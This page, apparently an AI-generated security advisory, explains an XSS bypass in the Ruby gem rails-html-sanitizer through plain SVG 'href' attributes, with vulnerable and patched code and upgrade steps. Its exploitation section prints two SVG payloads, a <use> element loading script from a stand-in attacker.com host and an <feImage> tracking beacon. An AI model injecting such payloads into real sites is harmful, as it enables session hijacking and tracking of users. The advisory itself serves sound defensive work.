CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-CJ75-F6XR-R4G7

GHSA-cj75-f6xr-r4g7: Cross-Site Scripting (XSS) Bypass via SVG href Attributes in rails-html-sanitizer

Alon Barad
Alon Barad
Software Engineer

Jul 22, 2026·6 min read·19 visits

Executive Summary (TL;DR)

Custom configurations of rails-html-sanitizer allowing SVG reference tags were vulnerable to XSS and tracking because plain 'href' attributes bypassed local-reference filters restricted only to 'xlink:href'.

An issue in rails-html-sanitizer allowed attackers to bypass restrictions on SVG reference elements (such as <use> or <feImage>) when specific custom configurations allowed these tags. Because the sanitizer only restricted the legacy 'xlink:href' attribute to local references, modern browsers supporting plain 'href' attributes according to the SVG 2 specification would load external resources. This could lead to Cross-Site Scripting (XSS) or user tracking.

Vulnerability Overview

The rails-html-sanitizer gem is a critical component in the Ruby on Rails ecosystem, serving as the default mechanism to scrub untrusted HTML inputs. Applications use this library to clean user-generated content, preventing cross-site scripting (XSS) and other injection attacks while preserving safe markup structure. The sanitization process is handled by a set of permissive or restrictive rules managed by subclasses of Loofah::Scrubber, such as Rails::HTML::PermitScrubber.

The attack surface expands when applications define custom safe-lists to allow specific SVG elements, including resource references like <use> or <feImage>. These elements allow HTML documents to clone and load external graphical segments or apply image filters. To enforce security, the sanitizer is designed to restrict these tags to local, same-document fragment identifiers (e.g., #element-id).

A security bypass exists because the library's local reference enforcement was strictly coupled to the legacy XML namespace attribute xlink:href. Under the modern SVG 2 specification, browsers natively support the plain href attribute without any namespace prefix. Because the plain href attribute was left unvalidated, an attacker could load external resources, bypassing security enforcement.

Root Cause Analysis

The root cause of this vulnerability lies in an incomplete input validation model inside lib/rails/html/scrubbers.rb. The PermitScrubber class contains logic meant to strip references that target external locations. This mechanism operates on the assumption that SVG elements only declare external links using the XML-linked namespace syntax (xlink:href).

The logical flow of the sanitization routine evaluated attributes against Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF to identify elements allowed to have local references. Once a match was found, the scrubber strictly verified if the active attribute name matched "xlink:href". If it did, it applied the regular expression /^\s*[^#\s].*/m to determine if the reference value did not start with a hash symbol (#). Any value failing this pattern was considered external and removed.

Because the code explicitly validated only "xlink:href", it failed to inspect the modern "href" attribute. In SVG 2, the plain href attribute acts as a functional drop-in replacement. Modern user agents parse the plain href attribute and resolve the referenced resource. The sanitizer allowed the plain href to pass through untouched, violating the security guarantee that these reference elements would remain strictly local.

Code Analysis & Comparative Patch Study

Let's perform a technical walk-through of the vulnerability before and after the application of the official patch.

In the vulnerable codebase of rails-html-sanitizer (versions prior to 1.7.1), the scrub_attribute method evaluated attributes as follows:

# Vulnerable implementation in lib/rails/html/scrubbers.rb
if Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) && attr_name == "xlink:href" && attr_node.value =~ /^\s*[^#\s].*/m
  attr_node.remove
end

This block explicitly targeted the string literal "xlink:href". If an attacker injected a plain href attribute within a <use> element, the second conditional clause evaluated to false, skipping the removal logic.

The patch introduced in commit 74dcb8053e6da9921246ce71b06ad9fd65b19586 corrected this structural omission:

# Patched implementation in lib/rails/html/scrubbers.rb
if Loofah::HTML5::SafeList::SVG_ALLOW_LOCAL_HREF.include?(node.name) && Loofah::HTML5::SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name) && attr_node.value =~ /^\s*[^#\s].*/m
  attr_node.remove
end

By refactoring the attribute matching from a hardcoded string equality check to a set membership lookup via Loofah::HTML5::SafeList::SVG_HREF_ATTRIBUTES.include?(attr_name), the library now correctly identifies both "xlink:href" and "href". This change ensures the regular expression check is applied to all supported variations of reference attributes. This fix relies on an upstream dependency on loofah >= 2.25.2 which exposes the comprehensive list of allowed SVG reference attributes.

Exploitation & Attack Scenarios

Exploitation requires that the host application is configured to permit SVG reference elements such as <use> or <feImage>. In a default Rails installation, these elements are not in the permitted safe-list, preventing out-of-the-box exploitation.

To perform an attack, the adversary identifies an endpoint that parses and displays sanitized HTML using a customized configuration. The attacker supplies a payload containing a <use> tag with a plain href attribute pointing to a remote resource under their control:

<svg>
  <use href="https://attacker.com/payload.svg#script"></use>
</svg>

During processing, the sanitizer parses the input, fails to remove the plain href attribute, and returns the payload intact. When a victim loads the page, the browser parses the markup and resolves the external link. If the target resource is loaded and evaluated in the security context of the vulnerable domain, any script execution defined within the external SVG runs with the privileges of the victim's session.

A secondary attack vector involves user tracking and privacy bypass via the <feImage> filter element:

<svg>
  <filter id="track">
    <feImage href="https://tracker.attacker.com/log.png"></feImage>
  </filter>
</svg>

Because the browser fetches the external resource automatically when trying to render the filter, the attacker receives the request, exposing the victim's IP address and browser headers without requiring user interaction.

Below is the logical exploit flow:

Impact Assessment & Security Implications

The impact of this vulnerability is classified as medium, holding a CVSS v4 score of 5.1. While the exploit path allows full arbitrary JavaScript execution in the client's browser, the severity is mitigated by the prerequisite configuration. Default installations of rails-html-sanitizer are immune since they do not permit SVG reference elements.

In affected applications, the vulnerability is a severe threat. A successful exploitation allows attackers to perform session hijacking, exfiltrate sensitive anti-CSRF tokens, or modify the DOM to present credential harvesting prompts. The browser executes the malicious scripts inside the security origin of the hosting application, granting the script access to local storage, session storage, and cookies that lack the HttpOnly flag.

Additionally, the <feImage> tracking vector represents a privacy bypass. It permits silent cross-origin resource requests, enabling attackers to verify active user sessions and track user navigation across sanitized sections of the application.

Remediation & Hardening Guidance

The primary and recommended mitigation is upgrading rails-html-sanitizer to version 1.7.1 or higher. This upgrade enforces a hard dependency on loofah >= 2.25.2, which includes the updated definition of SVG_HREF_ATTRIBUTES to cover both plain and namespaced references.

To execute the upgrade, modify the dependency declaration in the application's Gemfile:

gem 'rails-html-sanitizer', '>= 1.7.1'

Then run the following bundler command to update both gems:

bundle update rails-html-sanitizer loofah

If an immediate gem upgrade is not feasible, developers must configure a custom scrubber to block or clean the problematic SVG tags before they reach the native safe-list scrubber. Below is an implementation of a custom Rails scrubber that strips <use> and <feImage> elements:

class StripSvgReferencesScrubber < Rails::Html::Scrubber
  def setup
    @tags = %w(use feImage)
  end
 
  def scrub(node)
    if @tags.include?(node.name)
      node.remove
      return STOP
    end
  end
end

This custom scrubber can be passed to the sanitizer call, ensuring that these elements are cleanly purged regardless of the safe-list configuration.

Official Patches

railsOfficial Rails HTML Sanitizer Security Advisory
railsOfficial Fix Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Affected Systems

Ruby on Rails applications using custom rails-html-sanitizer configurations allowing SVG elements

Affected Versions Detail

Product
Affected Versions
Fixed Version
rails-html-sanitizer
rails
>= 1.0.3, < 1.7.11.7.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4 Score5.1 (Medium)
Exploit Statuspoc
KEV StatusNot Listed
Componentrails-html-sanitizer

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

rails-html-sanitizer test suiteThe test suite includes functional PoCs proving that external plain href tags in <use> allow arbitrary external resources to load.

Vulnerability Timeline

Technical vulnerability identified and fix committed by maintainers.
2026-07-15
Release of rails-html-sanitizer version 1.7.1 on RubyGems.
2026-07-21
GitHub Security Advisory GHSA-cj75-f6xr-r4g7 published.
2026-07-21

References & Sources

  • [1]GitHub Security Advisory GHSA-cj75-f6xr-r4g7
  • [2]Upstream Related Loofah Advisory
  • [3]MITRE CWE Reference for Cross-Site Scripting (CWE-79)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•CVE-2026-107848
3.5

CVE-2026-107848: Cross-Site Request Forgery (CSRF) in Contao Backend Actions via GET Requests

Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•CVE-2026-107843
5.3

CVE-2026-107843: Unthrottled Activation Email Resend and Account Enumeration in Contao CMS

Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.

Amit Schendel
Amit Schendel
9 views•4 min read
•2 days ago•CVE-2026-107842
5.3

CVE-2026-107842: Information Disclosure via Stale Indexing in Contao Search Module

An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.

Amit Schendel
Amit Schendel
10 views•4 min read
•2 days ago•GHSA-G38J-7V97-X298
6.5

GHSA-G38J-7V97-X298: Missing Authorization Check in Vikunja CalDAV Task Relation Creation

In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.

Alon Barad
Alon Barad
12 views•5 min read
•2 days ago•GHSA-3HC7-R24J-RPWC
6.8

GHSA-3hc7-r24j-rpwc: Cross-Project Task Disclosure via Subtask Expansion in Vikunja

A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.

Alon Barad
Alon Barad
9 views•5 min read